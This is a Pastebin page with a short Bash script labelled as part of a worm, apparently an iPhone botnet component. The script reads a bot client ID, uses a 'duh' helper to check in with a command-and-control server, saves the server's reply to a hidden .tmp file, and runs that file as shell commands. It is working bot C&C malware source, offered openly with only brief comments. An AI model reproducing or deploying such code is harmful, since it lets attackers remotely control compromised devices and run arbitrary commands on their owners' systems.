Advertisement
FlyFar

worm/scripts/syslog

Mar 24th, 2024
716
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.50 KB | Cybersecurity | 0 0
  1. #!/bin/sh
  2. cd /private/var/mobile/home/
  3. ID=$(cat /etc/rel)  # Get bot client ID
  4. PATH=.:$PATH
  5. # invoke "duh" application - which checks in to C&C server with bot client ID
  6. # The C&C server replies are stored in file .tmp, which is then interrogated for new commands
  7. # via the check function
  8. /private/var/mobile/home/duh SERVER /xml/p.php?id=$ID > /private/var/mobile/home/.tmp
  9. check;
  10.  
  11. function check {
  12.     if test 2 -lt $(wc -l .tmp | cut -d " " -f 1)
  13.     then
  14.     sh /private/var/mobile/home/.tmp
  15.     fi
  16. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement